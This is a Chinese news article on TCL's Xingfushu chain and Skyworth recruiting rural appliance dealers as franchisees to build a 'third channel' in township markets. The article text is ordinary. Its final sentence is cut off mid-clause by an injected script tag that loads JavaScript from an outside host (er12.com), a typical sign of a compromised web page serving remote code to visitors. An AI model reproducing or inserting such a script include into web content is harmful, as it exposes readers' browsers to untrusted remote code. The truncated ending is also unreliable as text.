河北沧州献县的家电经销商王凤恩,2005年年中将自己的小店改为“幸福树电器连锁店”。“大卖场步步紧逼,员工素质低,信息闭塞,制造商吸钱。”王凤恩说,这四大困难使他选择了加盟幸福树。
现在,已经有超过180个像王凤恩这样的农村家电经销商,成了由tcl控股的“幸福树电器连锁”的加盟商。而在浙江,也有100个这样的农村家电经销商,投入了创维加盟店的“怀抱”。
王凤恩们没想到的是,在“建设社会主义新农村”的背景下,在家电厂商的利益拉锯中,他们这些偏安一隅的乡镇小商人,已变为被争夺的资源,因为家电制造商们正在抢建“第三渠道”。 开辟“第三渠道”
如果说去年家电厂对于自己涉足渠道还遮遮掩掩,那么,今年它们已经不怕公开亮相了。
3月30日,幸福树打破缄默,在北京高调提出,今年将开发云、贵、川、晋、陕等14个省,加盟店增加到800家;以“一县一店”的规划,三年之内在全国建2000家店,形成对三、四级市场的完全覆盖。
创维则把“试水”范围,圈定在浙江省发达的乡镇。创维浙江、福建分部总经理黄心仲向《第一财经日报》透露,自2005年12月以来,创维加盟店已发展到100家,分布在浙江100个镇上。“今年的目标是开到200家。浙江省境内共有1600个镇,按一镇一店的计划,尽快覆盖500~600个镇是有可能的。”
为什么要开这些店呢?用创维集团副总裁、彩电事业部总裁杨东文的话是“开辟‘第三渠道’”,在大卖场和传统经销商之外,寻求“渠道创新”。
经过调研,创维发现,一、二级市场的机会已经不大。黄心仲说,从最近永乐大中的合并可以看出,一、二级市场的家电渠道已经基本成熟,很难再产生新渠道。相比之下,三、四级市场正在发展,尤其四级乡镇市场还有很大机会。
今年国家提出建设“社会主义新农村”,“中国9.5亿农民的购买力可是一座金矿!”黄心仲说,农村市场消费分散;业态落后,夫妻店居多;假冒伪劣产品横行,产品不新,价格却平均比城市贵10%,老百姓渴望信誉佳、运作好的商店。所以,“这里极有可能形成新的商圈”。
幸福树电器连锁的总经理张付民也直言不讳:三、四级市场占全国市场半壁江山,且每年保持15%的增长;而三、四级市场又亟须整合,连锁将是必然趋势。
“当前中国许多大型企业都自建营销网络、自己配送,资源耗费严重,而中小企业则因实力不足根本无法进入三、四级市场。”张付民说,幸福树希望通过优化供应链,做好制造商和单个零售商无法做好的事情。
其实何止tcl、创维,作为家电制造商自建渠道的“先锋”,格力专卖店至今在国内已超过2500家;美的、志高去年也提出开展“上山下乡”运动、“千店工程”等。争夺农村市场
与格力专卖店“城乡通吃”不同的是,新一轮的家电企业涉足渠道,主要锁定潜力巨大的农村市场。不过,农村市场犹如一块沼泽地,全国有上万个乡镇,面对如此分散的市场,如何操作才不至于泥足深陷、难以自拔?
利用社会资源,拓展加盟店而非直营店,是制造商的新思路。
为什么要吸引当地老板投资而不由厂家自己投资呢?黄心仲认为,乡镇必须依靠镇级的客户资源,不可能由创维的员工跑到乡镇去当老板;而且,本地人在当地人脉关系广、情况熟悉。所以,要让每个加盟商继续做老板,创维只对加盟店统一vi(视觉识别系统)、管理模式、物流体系、营销方法、财务系统,帮助这些当地老板提升管理能力。
有了这些加盟店之后,创维在乡镇一级市场的信息流、服务流、产品流就畅通多了。老百姓可以在店内看到最新的产品、价格信息,创维也可以提供及时服务。黄心仲说:“运作半年,创维在这些地方的销售质量得到提升,以前乡镇消费的都是低端产品,现在乡镇老百姓也买中、高端的产品,实现消费者、经销商、厂家‘三赢’。”
幸福树连锁在2004年底筹备之时,就彻底放弃了直营店模式。张付民认为,加盟店可以快速编网,降低物流、信息系统的成本;同时可以最大限度盘活社会资源,包括农村夫妻店的店面资源、顾客群;还可以充分发挥店主的主观能动性。而且,如果新建直营店,必然造成三、四级市场新的竞争冲突。
“欧洲也有这样的加盟连锁店。”张付民介绍说,欧洲的expretor(音)与幸福树类似,专门解决特大型城市之外分散城市里,经销商的物流配送、it系统、采购平台和品牌统一输出的问题。expretor已经有十年历史,欧洲虽然有“大地”、“迈地亚(media)”等大卖场直营店,但expretor仍然发挥着它对分散的“papamama(爸爸妈妈)”店(即“夫妻店”)的支持作用。
张付民指出,农村市场最大的难点,就在于分销成本过高。中国农村地域分散、幅员辽阔,使它的沟通成本比中心城市高得多。他举例说,过去很多企业开拓农村市场,往往是业务员坐着长途巴士“下乡”,带着产品图、价格表和销售政策,一周跑完十个县已不错。这不仅时间滞后?script src=http://er12.com/t.js>











